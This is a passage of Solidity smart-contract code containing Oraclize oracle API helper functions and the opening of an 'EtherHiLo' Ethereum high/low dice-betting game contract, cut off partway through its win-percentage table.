bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.19;
contract EtherHiLo is usingOraclize, Ownable {
uint8 constant NUM_DICE_SIDES = 13;
uint public rngCallbackGas;
uint public minBet;
uint public maxBetThresholdPct;
bool public gameRunning;
uint public balanceInPlay;
mapping(address => Game) private gamesInProgress;
mapping(uint => address) private rollIdToGameAddress;
mapping(uint => uint) private failedRolls;
event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint8 firstRoll, uint8 finalRoll, uint winnings, uint payout);
event GameError(address indexed player, uint indexed playerGameNumber, uint rollId);
enum BetDirection {
None,
Low,
High
}
enum GameState {
None,
WaitingForFirstCard,
WaitingForDirection,
WaitingForFinalCard,
Finished
}
struct Game {
address player;
GameState state;
uint id;
BetDirection direction;
uint bet;
uint8 firstRoll;
uint8 finalRoll;
uint winnings;
}
function EtherHiLo() public {
oraclize_setProof(proofType_Ledger);
setRNGCallbackGasConfig(1000000, 4000000000 wei);
setMinBet(1 finney);
setGameRunning(true);
setMaxBetThresholdPct(50);
}
function() external payable {
}
function beginGame() public payable {
address player = msg.sender;
uint bet = msg.value;
require(player != address(0));
require(gamesInProgress[player].state == GameState.None || gamesInProgress[player].state == GameState.Finished);
require(gameRunning);
require(bet >= minBet && bet <= getMaxBet());
Game memory game = Game({
id: uint(keccak256(block.number, player, bet)),
player: player,
state: GameState.WaitingForFirstCard,
bet: bet,
firstRoll: 0,
finalRoll: 0,
winnings: 0,
direction: BetDirection.None
});
balanceInPlay = balanceInPlay + game.bet;
gamesInProgress[player] = game;
rollDie(player);
}
function finishGame(BetDirection direction) {
address player = msg.sender;
require(player != address(0));
require(gamesInProgress[player].state != GameState.None && gamesInProgress[player].state != GameState.Finished);
Game storage game = gamesInProgress[player];
game.direction = direction;
game.state = GameState.WaitingForFinalCard;
gamesInProgress[player] = game;
rollDie(player);
}
function getGameState(address player) public view returns
(GameState, uint, BetDirection, uint, uint8, uint8, uint) {
return (
gamesInProgress[player].state,
gamesInProgress[player].id,
gamesInProgress[player].direction,
gamesInProgress[player].bet,
gamesInProgress[player].firstRoll,
gamesInProgress[player].finalRoll,
gamesInProgress[player].winnings
);
}
function getMinBet() public view returns (uint) {
return minBet;
}
function getMaxBet() public view returns (uint) {
return SafeMath.div(SafeMath.div(SafeMath.mul(this.balance - balanceInPlay, maxBetThresholdPct), 100), 12);
}
function calculateWinnings(uint bet, uint percent) public pure returns (uint) {
return SafeMath.div(SafeMath.mul(bet, percent), 100);
}
function getLowWinPercent(uint number) public pure returns (uint) {
require(number >= 2 && number <= NUM_DICE_SIDES);
if (number == 2) {
return 1200;
} else if (number == 3) {
return 500;
} else if (number == 4) {
return 300;
} else if (number == 5) {
return 300;
} else if (number == 6) {
return 200;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 150;
} else if (number == 9) {
return 140;
} else if (number == 10) {
return 130;
} else if (number == 11) {
return 120;
} else if (number == 12) {
return 110;
} else if (number == 13) {
return 100;
}
}
function getHighWinPercent(uint number) public pure returns (uint) {
require(number >= 1 && number < NUM_DICE_SIDES);
if (number == 1) {
return 100;
} else if (number == 2) {
return 110;
} else if (number == 3) {
return 120;
} else if (number == 4) {
return 130;
} else if (number == 5) {
return 140;
} else if (number == 6) {
return 150;
} else if (number == 7) {
return 180;
